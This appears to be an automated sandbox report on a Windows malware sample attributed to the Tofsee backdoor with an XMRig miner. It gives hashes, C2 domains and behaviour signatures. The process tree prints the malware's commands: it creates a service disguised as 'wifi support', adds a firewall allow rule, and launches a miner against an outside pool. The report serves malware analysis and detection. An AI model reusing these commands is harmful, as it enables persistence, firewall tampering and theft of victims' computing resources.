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Analysis

  • max time kernel
    140s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    21/12/2022, 06:13

General

  • Target

    file.exe

  • Size

    220KB

  • MD5

    b8801008c417b5243fc3f23efd398464

  • SHA1

    103c056f4f343f61022b727a4b325bd5f9c50c69

  • SHA256

    9ed5c8903da45b632845d7a4288e2da852650ddf6762068908da5b6e6b70c9a6

  • SHA512

    e17434f7e6ec74d74b268b36afe80d5400339963a8b8b2972b8342d629f0b7e89d3a0dd805a412f01d34b30deda6238898d64b80bdc245b8f93c70862f96f4d5

  • SSDEEP

    3072:iPqFpLpqwt15WI/PhYR1e58niPr4V7b/oU/Yw8Co1NHCDml:NHLpqw/3ee5WiPMFww8CoHCa

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1216
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iuzcsfee\
      2⤵
        PID:736
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mbpmflhk.exe" C:\Windows\SysWOW64\iuzcsfee\
        2⤵
          PID:432
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iuzcsfee binPath= "C:\Windows\SysWOW64\iuzcsfee\mbpmflhk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description iuzcsfee "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1740
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start iuzcsfee
          2⤵
          • Launches sc.exe
          PID:776
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1308
      • C:\Windows\SysWOW64\iuzcsfee\mbpmflhk.exe
        C:\Windows\SysWOW64\iuzcsfee\mbpmflhk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:760
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:292
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:316

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\mbpmflhk.exe

        Filesize

        12.2MB

        MD5

        142aee7482e93fb53d953826efa70edb

        SHA1

        8937e6303f38d8b06f9a5ded3c8cb44f33cc47c6

        SHA256

        7bbc1ff95062bdf9ce1e8f014bc9fe341994064315c64bb78bdffa24b55bb794

        SHA512

        d0a81ed93d4ea22801a0a948eda1b2821dc0139896255ea82ba154df321ab75e7a1b4c0ca131d4777a8eb0a1924806f418458ecbfc37d324637cfbe7af51828d

      • C:\Windows\SysWOW64\iuzcsfee\mbpmflhk.exe

        Filesize

        12.2MB

        MD5

        142aee7482e93fb53d953826efa70edb

        SHA1

        8937e6303f38d8b06f9a5ded3c8cb44f33cc47c6

        SHA256

        7bbc1ff95062bdf9ce1e8f014bc9fe341994064315c64bb78bdffa24b55bb794

        SHA512

        d0a81ed93d4ea22801a0a948eda1b2821dc0139896255ea82ba154df321ab75e7a1b4c0ca131d4777a8eb0a1924806f418458ecbfc37d324637cfbe7af51828d

      • memory/292-88-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/292-100-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/292-97-0x0000000000470000-0x0000000000477000-memory.dmp

        Filesize

        28KB

      • memory/292-94-0x00000000058F0000-0x0000000005CFB000-memory.dmp

        Filesize

        4.0MB

      • memory/292-91-0x0000000000130000-0x0000000000135000-memory.dmp

        Filesize

        20KB

      • memory/292-72-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/292-85-0x00000000000D0000-0x00000000000D6000-memory.dmp

        Filesize

        24KB

      • memory/292-74-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/292-81-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/292-82-0x00000000018F0000-0x0000000001AFF000-memory.dmp

        Filesize

        2.1MB

      • memory/316-103-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/316-101-0x00000000001C0000-0x00000000002B1000-memory.dmp

        Filesize

        964KB

      • memory/760-66-0x00000000008C8000-0x00000000008D9000-memory.dmp

        Filesize

        68KB

      • memory/760-78-0x0000000000400000-0x0000000000461000-memory.dmp

        Filesize

        388KB

      • memory/760-76-0x00000000008C8000-0x00000000008D9000-memory.dmp

        Filesize

        68KB

      • memory/1216-58-0x0000000000230000-0x0000000000243000-memory.dmp

        Filesize

        76KB

      • memory/1216-54-0x00000000005F8000-0x0000000000609000-memory.dmp

        Filesize

        68KB

      • memory/1216-68-0x00000000005F8000-0x0000000000609000-memory.dmp

        Filesize

        68KB

      • memory/1216-57-0x00000000005F8000-0x0000000000609000-memory.dmp

        Filesize

        68KB

      • memory/1216-55-0x0000000075D01000-0x0000000075D03000-memory.dmp

        Filesize

        8KB

      • memory/1216-59-0x0000000000400000-0x0000000000461000-memory.dmp

        Filesize

        388KB

      • memory/1216-69-0x0000000000400000-0x0000000000461000-memory.dmp

        Filesize

        388KB